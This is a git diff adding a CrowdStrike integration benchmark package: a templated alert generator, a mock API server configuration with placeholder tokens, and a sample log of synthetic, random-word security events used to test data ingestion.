+  type: keyword
+- name: type
+  type: keyword
+- name: updated_timestamp
+  type: date
+- name: username
+  type: keyword
+- name: user_id
+  type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
new file mode 100644
index 0000000000..2841b0f2a6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
@@ -0,0 +1,97 @@
+{{- $agent_id := generate "agent_id" }}
+{{- $aggregate_id := generate "aggregate_id" }}
+{{- $alleged_filetype := generate "alleged_filetype" }}
+{{- $access_type := generate "network_accesses.access_type" }}
+{{- $connection_direction := generate "network_accesses.connection_direction" }}
+{{- $isIPV6 := generate "network_accesses.isIPV6" }}
+{{- $local_address := generate "network_accesses.local_address" }}
+{{- $local_port := generate "network_accesses.local_port" }}
+{{- $protocol := generate "network_accesses.protocol" }}
+{{- $remote_address := generate "network_accesses.remote_address" }}
+{{- $remote_port := generate "network_accesses.remote_port" }}
+{{- $cid := generate "cid" }}
+{{- $cmdline := generate "cmdline" }}
+{{- $comment := generate "comment" }}
+{{- $falcon_user_id := generate "comments.falcon_user_id" }}
+{{- $timestamp := generate "comments.timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
+{{- $value := generate "comments.value" }}
+{{- $composite_id := generate "composite_id" }}
+{{- $confidence := generate "confidence" }}
+{{- $control_graph_id := generate "control_graph_id" }}
+{{- $created_timestamp := generate "created_timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
+{{- $description := generate "description" }}
+{{- $last_seen := generate "device.last_seen" | date "2006-01-02T15:04:05.00Z" }}
+{{- $agent_load_flags := generate "device.agent_load_flags" }}
+{{- $agent_local_time := generate "device.agent_local_time" | date "2006-01-02T15:04:05.000Z" }}
+{{- $agent_version := generate "device.agent_version" }}
+{{- $bios_manufacturer := generate "device.bios_manufacturer" }}
+{{- $bios_version := generate "device.bios_version" }}
+{{- $device_id := generate "device.device_id" }}
+{{- $external_ip := generate "device.external_ip" }}
+{{- $external_ipv6 := generate "device.external_ipv6" }}
+{{- $first_seen := generate "device.first_seen" | date "2006-01-02T15:04:05.000Z" }}
+{{- $groups := generate "device.groups" }}
+{{- $active_directory_dn_display := generate "device.hostinfo.active_directory_dn_display" }}
+{{- $domain := generate "device.hostinfo.domain" }}
+{{- $host_hidden_status := generate "device.host_hidden_status" }}
+{{- $instance_id := generate "device.instance_id" }}
+{{- $local_ip := generate "device.local_ip" }}
+{{- $local_ipv6 := generate "device.local_ipv6" }}
+{{- $mac_address := generate "device.mac_address" }}
+{{- $machine_domain := generate "device.machine_domain" }}
+{{- $major_version := generate "device.major_version" }}
+{{- $minor_version := generate "device.minor_version" }}
+{{- $modified_timestamp := generate "device.modified_timestamp" | date "2006-01-02T15:04:05.00Z" }}
+{{- $os_version := generate "device.os_version" }}
+{{- $ou := generate "device.ou" }}
+{{- $platform_id := generate "device.platform_id" }}
+{{- $platform_name := generate "device.platform_name" }}
+{{- $pod_id := generate "device.pod_id" }}
+{{- $pod_labels := generate "device.pod_labels" }}
+{{- $pod_name := generate "device.pod_name" }}
+{{- $pod_namespace := generate "device.pod_namespace" }}
+{{- $pod_service_account_name := generate "device.pod_service_account_name" }}
+{{- $product_type := generate "device.product_type" }}
+{{- $product_type_desc := generate "device.product_type_desc" }}
+{{- $service_provider := generate "device.service_provider" }}
+{{- $service_provider_account_id := generate "device.service_provider_account_id" }}
+{{- $site_name := generate "device.site_name" }}
+{{- $system_manufacturer := generate "device.system_manufacturer" }}
+{{- $system_product_name := generate "device.system_product_name" }}
+{{- $tags := generate "device.tags" }}
+{{- $display_name := generate "display_name" }}
+{{- $falcon_host_link := generate "falcon_host_link" }}
+{{- $filename := generate "filename" }}
+{{- $filepath := generate "filepath" }}
+{{- $hostname := generate "hostname" }}
+{{- $id := generate "id" }}
+{{- $ioc_source := generate "ioc_source" }}
+{{- $ioc_type := generate "ioc_type" }}
+{{- $ioc_value := generate "ioc_value" }}
+{{- $md5 := generate "md5" }}
+{{- $objective := generate "objective" }}
+{{- $parent_process_id := generate "parent_process_id" }}
+{{- $pattern_id := generate "pattern_id" }}
+{{- $process_end_time := generate "process_end_time" }}
+{{- $process_id := generate "process_id" }}
+{{- $process_start_time := generate "process_start_time" }}
+{{- $product := generate "product" }}
+{{- $scenario := generate "scenario" }}
+{{- $severity := generate "severity" }}
+{{- $severity_name := generate "severity_name" }}
+{{- $sha256 := generate "sha256" }}
+{{- $show_in_ui := generate "show_in_ui" }}
+{{- $status := generate "status" }}
+{{- $tactic := generate "tactic" }}
+{{- $tactic_id := generate "tactic_id" }}
+{{- $technique := generate "technique" }}
+{{- $technique_id := generate "technique_id" }}
+{{- $timestamp_main := generate "timestamp" | date "2006-01-02T15:04:05.000Z" }}
+{{- $tree_id := generate "tree_id" }}
+{{- $tree_root := generate "tree_root" }}
+{{- $triggering_process_graph_id := generate "triggering_process_graph_id" }}
+{{- $type := generate "type" }}
+{{- $updated_timestamp := generate "updated_timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
+{{- $username := generate "username" }}
+{{- $user_id := generate "user_id" }}
+{"agent_id":"{{ $agent_id }}","aggregate_id":"{{ $aggregate_id }}","alleged_filetype":"{{ $alleged_filetype }}","cid":"{{ $cid }}","cmdline":"{{ $cmdline }}","comment":"{{ $comment }}","comments":[{"falcon_user_id":"{{ $falcon_user_id }}@mail.com","timestamp":"{{ $timestamp }}","value":"{{ $value }}"}],"composite_id":"{{ $composite_id }}","confidence":{{ $confidence }},"control_graph_id":"{{ $control_graph_id }}","created_timestamp":"{{ $created_timestamp }}","description":"{{ $description }}","device":{"agent_version":"x.xx.xxxxx.x","agent_load_flags":"{{ $agent_load_flags }}","agent_local_time":"{{ $agent_local_time }}","bios_manufacturer":"{{ $bios_manufacturer }}","bios_version":"{{ $bios_version }}","cid":"{{ $cid }}","device_id":"{{ $device_id }}","external_ip":"{{ $external_ip }}","external_ipv6":"{{ $external_ipv6 }}","first_seen":"{{ $first_seen }}","groups":"{{ $groups }}","hostinfo":{"active_directory_dn_display":"{{ $active_directory_dn_display }}","domain":"{{ $domain }}"},"hostname":"{{ $hostname }}","host_hidden_status":"{{ $host_hidden_status }}","last_seen":"{{ $last_seen }}","instance_id":"{{ $instance_id }}","local_ip":"{{ $local_ip }}","local_ipv6":"{{ $local_ipv6 }}","mac_address":"{{ $mac_address }}","machine_domain":"{{ $machine_domain }}","major_version":{{ $major_version }},"minor_version":{{ $minor_version }},"modified_timestamp":"{{ $modified_timestamp }}","os_version":"{{ $os_version }}","ou":["{{ $ou }}"],"platform_id":"{{ $platform_id }}","platform_name":"{{ $platform_name }}","pod_id":"{{ $pod_id }}","pod_labels":["{{ $pod_labels }}"],"pod_name":"{{ $pod_name }}","pod_namespace":"{{ $pod_namespace }}","pod_service_account_name":"{{ $pod_service_account_name }}","product_type":"{{ $product_type }}","product_type_desc":"{{ $product_type_desc }}","service_provider":"{{ $service_provider }}","service_provider_account_id":"{{ $service_provider_account_id }}","site_name":"{{ $site_name }}","status":"{{ $status }}","system_manufacturer":"{{ $system_manufacturer }}","system_product_name":"{{ $system_product_name }}","tags":["{{ $tags }}"]},"display_name":"{{ $display_name }}","falcon_host_link":"https://falcon.crowdstrike.com/activity-v2/detections/{{ $falcon_host_link }}","filename":"{{ $filename }}.{{ $alleged_filetype }}","filepath":"\\\\{{ $filepath }}\\\\{{ $filename }}.{{ $alleged_filetype }}","id":"{{ $id }}","ioc_source":"{{ $ioc_source }}","ioc_type":"{{ $ioc_type }}","ioc_value":"{{ $ioc_value }}","md5":"{{ $md5 }}","mitre_attack":{"pattern_id":{{ $pattern_id }},"tactic_id":"{{ $tactic_id }}","technique_id":"{{ $technique_id }}","tactic":"{{ $tactic }}","technique":"{{ $technique }}"},"name":"{{ $username }} on {{ $hostname }}","network_accesses":[{"access_type":"{{ $access_type }}","connection_direction":"{{ $connection_direction }}","isIPV6":{{ $isIPV6 }},"local_address":"{{ $local_address }}","local_port":{{ $local_port }},"protocol":"{{ $protocol }}","remote_address":"{{ $remote_address }}","remote_port":{{ $remote_port }}}],"objective":"{{ $objective }}","parent_process_id":{{ $parent_process_id }},"pattern_id":{{ $pattern_id }},"platform":"{{ $platform_name }}","process_end_time":"{{ $process_end_time }}","process_id":{{ $process_id }},"process_start_time":"{{ $process_start_time }}","product":"{{ $product }}","scenario":"{{ $scenario }}","severity":{{ $severity }},"severity_name":"{{ $severity_name }}","sha256":"{{ $sha256 }}","show_in_ui":{{ $show_in_ui }},"status":"{{ $status }}","tactic":"{{ $tactic }}","tactic_id":"{{ $tactic_id }}","technique":"{{ $technique }}","technique_id":"{{ $technique_id }}","timestamp":"{{ $timestamp_main }}","tree_id":"{{ $tree_id }}","tree_root":{{ $tree_root }},"triggering_process_graph_id":"{{ $triggering_process_graph_id }}","type":"{{ $type }}","updated_timestamp":"{{ $updated_timestamp }}","user_id":"{{ $user_id }}"},
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
new file mode 100644
index 0000000000..cfa001fee1
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
@@ -0,0 +1,16 @@
+version: "2.3"
+services:
+  crowdstrike:
+    image: docker.elastic.co/observability/stream:v0.20.0
+    hostname: crowdstrike
+    ports:
+      - 8080
+    volumes:
+      - ./files:/files:ro
+      - ${SERVICE_LOGS_DIR}:/var/log
+    environment:
+      PORT: "8080"
+    command:
+      - http-server
+      - --addr=:8080
+      - --config=/files/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
new file mode 100644
index 0000000000..8ac8e5871e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
@@ -0,0 +1,128 @@
+rules:
+  - path: /oauth2/token
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - 'application/json'
+        body: |
+          {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"}
+  - path: /alerts/combined/alerts/v1
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+            "meta": {
+              "pagination": {
+                "total": 100000,
+                "limit": 100
+              }
+            },
+            "errors": [],
+            "resources": [
+              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              {"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"created_timestamp":"2023-11-03T18:01:23.995794943Z","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","severity":30,"status":"new","timestamp":"2023-11-03T18:00:22.328Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"}
+            ]
+          }
+  - path: /devices/combined/devices/v1
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+            "meta": {
+              "pagination": {
+                "total": 100000,
+                "limit": 100
+              }
+            },
+            "errors": [],
+            "resources": [
+              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              {"device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","cid":"92012896127c4a948236ba7601b886b0","agent_load_flags":"0","agent_local_time":"2023-11-07T04:51:16.678Z","agent_version":"7.05.17603.0","hostname":"test-host","status":"normal","modified_timestamp":"2023-11-07T04:51:16.678Z"}
+            ]
+          }
+  - path: /spotlight/combined/vulnerabilities/v1
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+            "meta": {
+              "pagination": {
+                "total": 100000,
+                "limit": 100
+              }
+            },
+            "errors": [],
+            "resources": [
+              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              {"id":"CVE-2023-12345","cid":"92012896127c4a948236ba7601b886b0","aid":"2ce412d17b334ad4adc8c1c54dbfec4b","vulnerability_id":"CVE-2023-12345","status":"open","cve":{"severity":"MEDIUM","references":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"]},"created_timestamp":"2023-11-03T18:01:23.995794943Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"}
+            ]
+          }
+  - path: /sensors/entities/datafeed/v2
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+              "resources": [
+                  {
+                      "dataFeedURL": "http://svc-crowdstrike:8080/events",
+                      "sessionToken": {
+                          "token": "secretsessiontoken"
+                      },
+                      "refreshActiveSessionURL": "http://svc-crowdstrike:8080/refresh",
+                      "refreshActiveSessionInterval": 1800
+                  }
+              ]
+          }
+  - path: /events
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{- $g := glob "/var/log/corpus-*" -}}
+          {{- range $g -}}
+            {{- file . -}}
+          {{- end -}}
+  - path: /refresh
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: ''
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
new file mode 100644
index 0000000000..1200994302
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
@@ -0,0 +1,5 @@
+version: '2.3'
+services:
+  terraform:
+    environment:
+      - TEST_RUN_ID=${TEST_RUN_ID}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log
new file mode 100644
index 0000000000..a531968e82
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log
@@ -0,0 +1,500 @@
+{"metadata": {"customerIDString": "Lebanesework","offset": -1685835604,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "whydresser","HostnameField": "hisnation","UserName": "repellingthing","StartTimestamp": 1582830734,"AgentIdString": "itshand"}}
+{"metadata": {"customerIDString": "ourdisregard","offset": -23054234,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "scaryway","Region": "us-west-1","ResourceId": "thathappiness","ResourceIdType": "Middle Easternmother","ResourceName": "whichtime","ResourceCreateTime": 0,"PolicyStatement": "histable","PolicyId": 1595025608,"Severity": 65,"SeverityName": "Medium","CloudPlatform": "Cypriotyoga","CloudService": "myline","Disposition": "Passed","ResourceUrl": "hispoint","Finding": "hishonesty","Tags": [{"Key": "fragilecompany","ValueString": "impromptuwelfare"}],"ReportUrl": "oddshower","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "theremoney","offset": -500255711,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Marxistluck","UserIp": "113.166.169.36","OperationName": "confirmResetPassword","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Koreanfact","ValueString": "whereshower"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "anyonegroup"}}}
+{"metadata": {"customerIDString": "wherecackle","offset": -185828149,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "Polynesianheels","IncidentDescription": "Salvadoreanseed","Severity": 71,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "allpoverty","UserName": "mypod","EndpointName": "whatbrilliance","EndpointIp": "12.250.116.236","Category": "Incidents","NumbersOfAlerts": -1113219528,"NumberOfCompromisedEntities": -263983776,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thesewisp?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "Americanwhale","offset": 939173435,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "hershirt","Highlights": ["yoursheep"],"MatchedTimestamp": 1686889114000,"RuleId": "thesechildhood","RuleName": "thosehamburger","RuleTopic": "theirfact","RulePriority": "whatwad","ItemId": "Middle Easterncrew","ItemType": "CS","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "Diabolicalforest","offset": 1660803782,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "somearmy","Region": "us-west-2","ResourceId": "whereway","ResourceIdType": "gorgeousbird","ResourceName": "whichgroup","ResourceCreateTime": 0,"PolicyStatement": "whosedynasty","PolicyId": 390111810,"Severity": 43,"SeverityName": "Medium","CloudPlatform": "toobunch","CloudService": "Costa Ricanloss","Disposition": "Failed","ResourceUrl": "eachbattery","Finding": "thesedream","Tags": [{"Key": "Frenchcandy","ValueString": "Kazakhliterature"}],"ReportUrl": "noneforest","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "whatlove","offset": -315799839,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "thoseplace","MobileDetectionId": 1667158397,"ComputerName": "halfpod","UserName": "yourstaff","ContextTimeStamp": 1649061056,"DetectId": "so fewface","DetectName": "thosesorrow","DetectDescription": "host employment gang forest team group pair turtle chest thing pod troop sugar government evidence thisscold","Tactic": "substantialtail","TacticId": "whosebook","Technique": "howheap","TechniqueId": "whatschool","Objective": "whosetroupe","Severity": 1,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirbelief?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "ourmurder","AndroidAppLabel": "Plutoniancollection","DexFileHashes": "Cypriotanthology","ImageFileName": "thosegang","AppInstallerInformation": "thisorange","IsBeingDebugged": true,"AndroidAppVersionName": "wherescissors","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "lots ofhail","offset": -1080414415,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "anyonenest","MobileDetectionId": 2112873966,"ComputerName": "significantnoise","UserName": "Einsteinianstupidity","ContextTimeStamp": 1649061056,"DetectId": "hisbelief","DetectName": "Victorianlake","DetectDescription": "college time air right muster army grade thought sister man article party city loss refrigerator myanthology","Tactic": "thosepod","TacticId": "whysilence","Technique": "therebattery","TechniqueId": "nowaiter","Objective": "itcompany","Severity": 29,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/fewshower?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "helpfulmuster","AndroidAppLabel": "someonecorruption","DexFileHashes": "Nepalesecare","ImageFileName": "Mayanhotel","AppInstallerInformation": "nonegoodness","IsBeingDebugged": false,"AndroidAppVersionName": "wherehat","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "numerousgarage","offset": 358982922,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "sufficientunion","UserIp": "118.44.72.83","OperationName": "userAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whichcheese","ValueString": "manyway"}],"Attributes": {"actor_cid": "anyonewarmth","actor_user": "wholedetermination","actor_user_uuid": "whycar","app_id": "wherefox","saml_assertion": "nonepatrol","target_user": "Amazonianeye","trace_id": "ourwhale"}}}
+{"metadata": {"customerIDString": "wherewoman","offset": -978965511,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatlove","CustomerId": "youngyear","Ipv": "111.108.39.213","CommandLine": "yourjoy","ConnectionDirection": "1","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "fullhost","ICMPCode": "tooplace","ICMPType": "hereability","ImageFileName": "littleluxuty","LocalAddress": "212.100.108.245","LocalPort": "71122","MatchCount": -1465089284,"MatchCountSinceLastReport": -1659220810,"NetworkProfile": "myedge","PID": "-1256766382","PolicyName": "itsthing","PolicyID": "heavycompany","Protocol": "Cormoranpronunciation","RemoteAddress": "132.38.65.208","RemotePort": "35570","RuleAction": "itbook","RuleDescription": "company obnoxiousarmy","RuleFamilyID": "over thereflock","RuleGroupName": "ouromen","RuleName": "onepoint","RuleId": "easyhorde","Status": "boredhorn","Timestamp": 1751371830,"TreeID": "anypound"}}
+{"metadata": {"customerIDString": "howwoman","offset": -947006805,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "whereset","CustomerId": "wittyway","Ipv": "249.171.19.228","CommandLine": "thishumour","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "Lilliputianbook","ICMPCode": "whystring","ICMPType": "whererazor","ImageFileName": "itfashion","LocalAddress": "238.237.247.252","LocalPort": "36580","MatchCount": 675896743,"MatchCountSinceLastReport": -17051991,"NetworkProfile": "everyonefriendship","PID": "-1491782631","PolicyName": "friendlybunch","PolicyID": "fewchest","Protocol": "whosetrench coat","RemoteAddress": "65.58.83.244","RemotePort": "45643","RuleAction": "Britisharmy","RuleDescription": "host pack hat box bowl cast comb milk reel colorfulbevy","RuleFamilyID": "plenty ofcompany","RuleGroupName": "difficultcatalog","RuleName": "everybodyday","RuleId": "itbowl","Status": "Lebaneseshower","Timestamp": 1751371830,"TreeID": "Hitlerianboard"}}
+{"metadata": {"customerIDString": "herposse","offset": 1859087843,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "mywoman","UserID": "quizzicalclass","ExecutionID": "anyhost","ReportID": "theseheap","ReportName": "herstaff","ReportType": "someoneoil","ReportFileReference": "fullstand","Status": "whatbeans","StatusMessage": "eachaccommodation","ExecutionMetadata": {"ExecutionStart": 1497599866,"ExecutionDuration": -991015096,"ReportFileName": "Koreanloss","ResultCount": 1748156442,"ResultID": "severalyard","SearchWindowStart": -797632144,"SearchWindowEnd": -1019419451}}}
+{"metadata": {"customerIDString": "fewbundle","offset": 811982012,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "numeroussoftware","MobileDetectionId": -1904510031,"ComputerName": "Greekexaltation","UserName": "myworld","ContextTimeStamp": 1649061056,"DetectId": "over therehand","DetectName": "howcousin","DetectDescription": "congregation poverty band block range religion week heap whatwisdom","Tactic": "fewpack","TacticId": "whoseadult","Technique": "cooperativeexaltation","TechniqueId": "Belgiansocks","Objective": "theirkitchen","Severity": 58,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/sleepyset?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "howgovernment","AndroidAppLabel": "whichluxury","DexFileHashes": "disgustingman","ImageFileName": "ourmusic","AppInstallerInformation": "heregovernment","IsBeingDebugged": false,"AndroidAppVersionName": "itwildlife","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "itswoman","offset": -202219313,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "ouralbum","IncidentDescription": "number hand pack problem literature success guest harvest bow museum Mozartianlife","Severity": 45,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "bravebundle","UserName": "Freudiannest","EndpointName": "herclump","EndpointIp": "140.45.95.105","Category": "Detections","NumbersOfAlerts": 1123668711,"NumberOfCompromisedEntities": -986302934,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/numerouslibrary?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "whoseenvy","offset": 1336498276,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "knightlyslavery","UserIp": "23.204.163.65","OperationName": "confirmResetPassword","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "manytiming","ValueString": "yourflock"}],"Attributes": {"actor_cid": "whatidea","actor_user": "plenty ofthrill","actor_user_uuid": "Elizabethanlaughter","app_id": "anypack","saml_assertion": "allgroup","target_user": "yourpoint","trace_id": "energetichair"}}}
+{"metadata": {"customerIDString": "Putinistoutfit","offset": -464699610,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "therefear","UserIp": "190.98.76.245","OperationName": "createUser","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Torontoniansocks","ValueString": "pinkbouquet"}],"Attributes": {"actor_cid": "herealligator","actor_user": "everybodygovernment","actor_user_uuid": "Bismarckianveterinarian","app_id": "someonepack","saml_assertion": "yourcrowd","target_user": "Thaiteam","trace_id": "Germanheels"}}}
+{"metadata": {"customerIDString": "Brazilianband","offset": 547834351,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "spottedcrowd","HostnameField": "theircard","UserName": "handsomeflock","StartTimestamp": 1582830734,"AgentIdString": "manysandals"}}
+{"metadata": {"customerIDString": "itseye","offset": 85979815,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Slovakdisregard","UserIp": "161.210.122.111","OperationName": "deleteUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "scarysky","ValueString": "lazytrip"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "theseman"}}}
+{"metadata": {"customerIDString": "severaltail","offset": -496750003,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somebodyline","UserIp": "181.119.120.133","OperationName": "grantCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "fewweek","ValueString": "insufficientcongregation"}],"Attributes": {"actor_cid": "thoserange","actor_user": "Egyptianmuster","actor_user_uuid": "manyarmy","app_id": "whosebookstore","saml_assertion": "fewspoon","target_user": "whyjustice","trace_id": "thosetransportation"}}}
+{"metadata": {"customerIDString": "whosepleasure","offset": -2143757847,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "whoseproblem","UserID": "thesewaist","ExecutionID": "horriblegovernment","ReportID": "wheremuster","ReportName": "thereboard","ReportType": "yourcaravan","ReportFileReference": "yourproblem","Status": "Japanesebale","StatusMessage": "emptyparty","ExecutionMetadata": {"ExecutionStart": -845012901,"ExecutionDuration": -340990076,"ReportFileName": "theregroup","ResultCount": 1942445329,"ResultID": "herbow","SearchWindowStart": -967511895,"SearchWindowEnd": 122476930}}}
+{"metadata": {"customerIDString": "yourocean","offset": 563835375,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 677914316,"ProcessEndTime": 1753288785,"ProcessId": 786054393,"ParentProcessId": -1517238162,"ComputerName": "anythingdanger","UserName": "heavywork","DetectName": "gloriousriches","DetectDescription": "motivation mob currency market group number literature point board lack child election mob apartment dangerouswelfare","Severity": 5,"SeverityName": "Critical","FileName": "whichrazor","FilePath": "yourwoman\\whichrazor","CommandLine": "C:\\Windows\\crowdedcovey","SHA256String": "Uzbekostrich","MD5String": "severalbeauty","SHA1String": "anyonefailure","MachineDomain": "anytrip","NetworkAccesses": [{"AccessType": 803760681,"AccessTimestamp": 1751371565,"Protocol": "howsorrow","LocalAddress": "186.189.48.115","LocalPort": 9178,"RemoteAddress": "179.68.167.78","RemotePort": 75164,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatparty?_cid=xxxxxxx","SensorId": "Bangladeshicheese","IOCType": "domain","IOCValue": "itgroup","DetectId": "couplewolf","LocalIP": "117.210.159.74","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Alpinewings","Technique": "nonebasket","Objective": "significantgovernment","PatternDispositionDescription": "nest staff bunch literature archipelago yoga thing packet Salvadoreanability","PatternDispositionValue": -1531758015,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": 